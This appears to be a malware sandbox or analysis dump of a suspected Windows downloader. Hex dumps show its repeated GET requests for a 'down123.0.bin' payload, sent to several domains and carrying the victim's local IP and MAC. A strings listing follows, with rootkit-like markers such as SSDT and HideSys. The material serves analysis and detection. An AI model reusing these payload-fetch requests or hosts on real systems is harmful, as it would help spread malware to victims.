0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2069 6e69787a 2e636f6d 0d0a436f   t: inixz.com..Co
0x00000100 (00256)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000110 (00272)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000120 (00288)   6e6f2d63 61636865 0d0a0d0a 0d0a6865   no-cache......he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2069 6e696269 6e2e636f 6d0d0a43   t: inibin.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a0a6865    no-cache.....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2062 696e646f 776e2e63 6f6d0d0a   t: bindown.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a6865   : no-cache....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 7a7a696e 666f722e   t: plus.zzinfor.
0x00000100 (00256)   636e0d0a 436f6e6e 65637469 6f6e3a20   cn..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 736f6f6d 656e672e   t: plus.soomeng.
0x00000100 (00256)   636f6d0d 0a436f6e 6e656374 696f6e3a   com..Connection:
0x00000110 (00272)   20436c6f 73650d0a 43616368 652d436f    Close..Cache-Co
0x00000120 (00288)   6e74726f 6c3a206e 6f2d6361 6368650d   ntrol: no-cache.
0x00000130 (00304)   0a0d0a0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 69636166 65616473   t: plus.icafeads
0x00000100 (00256)   2e636f6d 0d0a436f 6e6e6563 74696f6e   .com..Connection
0x00000110 (00272)   3a20436c 6f73650d 0a436163 68652d43   : Close..Cache-C
0x00000120 (00288)   6f6e7472 6f6c3a20 6e6f2d63 61636865   ontrol: no-cache
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2064 6f776e69 6e692e63 6f6d0d0a   t: downini.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a6865   : no-cache....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2069 6e69787a 2e636f6d 0d0a436f   t: inixz.com..Co
0x00000100 (00256)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000110 (00272)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000120 (00288)   6e6f2d63 61636865 0d0a0d0a 0d0a6865   no-cache......he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2069 6e696269 6e2e636f 6d0d0a43   t: inibin.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a0a6865    no-cache.....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2062 696e646f 776e2e63 6f6d0d0a   t: bindown.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a6865   : no-cache....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 7a7a696e 666f722e   t: plus.zzinfor.
0x00000100 (00256)   636e0d0a 436f6e6e 65637469 6f6e3a20   cn..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 736f6f6d 656e672e   t: plus.soomeng.
0x00000100 (00256)   636f6d0d 0a436f6e 6e656374 696f6e3a   com..Connection:
0x00000110 (00272)   20436c6f 73650d0a 43616368 652d436f    Close..Cache-Co
0x00000120 (00288)   6e74726f 6c3a206e 6f2d6361 6368650d   ntrol: no-cache.
0x00000130 (00304)   0a0d0a0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 69636166 65616473   t: plus.icafeads
0x00000100 (00256)   2e636f6d 0d0a436f 6e6e6563 74696f6e   .com..Connection
0x00000110 (00272)   3a20436c 6f73650d 0a436163 68652d43   : Close..Cache-C
0x00000120 (00288)   6f6e7472 6f6c3a20 6e6f2d63 61636865   ontrol: no-cache
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2064 6f776e69 6e692e63 6f6d0d0a   t: downini.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a6865   : no-cache....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2069 6e69787a 2e636f6d 0d0a436f   t: inixz.com..Co
0x00000100 (00256)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000110 (00272)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000120 (00288)   6e6f2d63 61636865 0d0a0d0a 0d0a6865   no-cache......he
0x00000130 (00304)   0d0a0d0a                              ....


Strings
.
....
..x
.
..
-0.
.0).vu.
....
..x
.
..
-0.
.0).vu
0, 0, 0, 0
080404b0
1, 0, 3, 916
Comments
CompanyName
FileDescription
FileVersion
InternalName
LegalCopyright
LegalTrademarks
OriginalFilename
PrivateBuild
ProductName
ProductVersion
SpecialBuild
StringFileInfo
Translation
VarFileInfo
VS_VERSION_INFO
 !"#$%&'()*+,-./
012356
0,1'8"5.*2$
]0N+HW
0SltFW
0V*Zq	L
1]0Sq0
1.13TT
115.238
/1(q:]
?2@~AcB
2e	'Gl
:2h1,6
2^\u(	X<%8
30P,+ 
329e+0
*3x<%Sc
/4.0 (comp
.427 cn
?456789:;<=
4a0K82
4gWvF+
4M !"#$%
4:uN-K
51.56#
5A937EE-621D-4F66-8C
$5pF vir
~5v27-
6.0YGf
6sagox4.-
?6x$Vk
74V4]4c4j4
7)737>7H7R7]7g7q7Z
7NA	O~B
7N*HBE
7out_of_r
8#8)8:8U
8fx/Fh
(8h\Ir
  (8PX
9|!3<3[3
	>=9<@8
9PBiHBd
9S /$Y%]
a59HZ 
ABCDEFGHIJD
ACD.0F
ADVAPI32.dll
A' [JdO dNJ$
a/lock
atoi'l
a)VRV1
-Aw h$tf@
^baA=h
BFC1-0
BjNpaE
:	b;.Nj
B@[sydz
$%c&#'(
C6S_R0LQ3S
C;7/'#
C=8XhwV5
CF?QsN;
'chkr	
CLR 2".50
cYO,vX
d3Cn`_5
D-)4		
	@d9ML
dasdK+=|;
d,H|T<Pb(
dK\mb#
DO*.tnCU
down123.0
%DQ80*f.b
dVlWt>
dyE$RP
e/C'Free
E:\CODE_P~1\p2
}(!eE(
%e-oskrnl*
_EProcess
Esckm2`+8F$
	ExEx1VX
ExitProcess
eYKKYKYY
f)(*+>
f6lr<o
f7+8=9|:;
F7$w'/
FA'W C`WSOS7-3
F-BpHt
f"dVUH
F[GIt%
fi.Pz`
fit.exhGET
f/'r-'
 fw&wi8aO!
fY$&'()
F)Ya {w
% G@0P
g7http:/	ATL:+'
g9/vcV
- Gabl:
GetBestRoute
GetLavAFv
GetProcAddress
gG5a"NTtyQU
giiSw7
/__GLOBAL_HEAP_SELECTED
gVyjY4bT}
H&*%AF
hE5uVK
h]f;;"
hFeatun
HideSys.s
Hi$^,qz9
h?jQT'H
H#=sUD
HugeS'
h'/x72
\IBLD+
ickCou"
ic_`@U
iE(ZG>H
IG'UnfE
	I=	hV
ILCMbg
InternetCrackUrlA
iphlpapi.dll
jhG3Ts
JL'`6J
JLb[GS
 Jm6/096CKaO
 j QRB
j.rPS\
jVTn0D
"&[jXWp
k\{4D36E972-E325-1
K81&<L
K(EM]6
kernel32
KERNEL32.DLL
KewOf+
KGC7yC?k
+Ki `A
KjZ22_#
KLMNOkST
/KModu
KZ@t8Z
L"+0>"
l3x/AB
lAugS	OctNovDecGm
l,F-9.m/Q
LG(M<Wf
LoadLibraryA
LockUnlE"
=lPUh*
lwapie
{mE7J;+xa
M!_ll(_4_
MQ}can!be (~
; MSIE 6
msvcrt>
@~MSVCRT3
'Mwv @
n6V4#_
N<}_9=Hx
n?bMarApr
Nextw-A
ngKbytes=%d-
nH^D=(
Nhs6nW
npIn+2rI
nTAddJsw
(null)
nvgu(s_02f
:nWP3v
oBE10318}
OEMCP	A
(OhryX*K(
*Os@"[O_w
o)U*JD
P0eRXOT
/P0H}F
PathAppendA
pgG/[*
p@gram/
Poi 'AttXb
P/OM3!!<
PowT,?0
PqZT6,
[Pt hg4
^Q@][_+0
Q801:>Qp
[  Q|f
Qkkbal
QTfJ&iXT.8
qxT)\"W
R0q2p(^Y
RegFlushKey
@r*ExF
rF+}Lp
RichSQ
)ring /
RiX7s+)
rk;rc|j?
RNtQu/
'RP[N\
RtlDv;,,P
RvQWq 
%s\Cxnec
SetTimer
@&s h?2
SHELL32.dll
SHGetSpecialFolderPathA
SHLWAPI.dll
s NT 5
sO;>|C;
Sp]+ $
<SQQtn
\\.\SSDT
[s t		
	STATUS_SUCCESS+
Sw+-gU|u.Cj{{
S YUf'
-t,0tRC
t4voM~$
t7u!Qg[
Te\,>S-X
T :|G5x
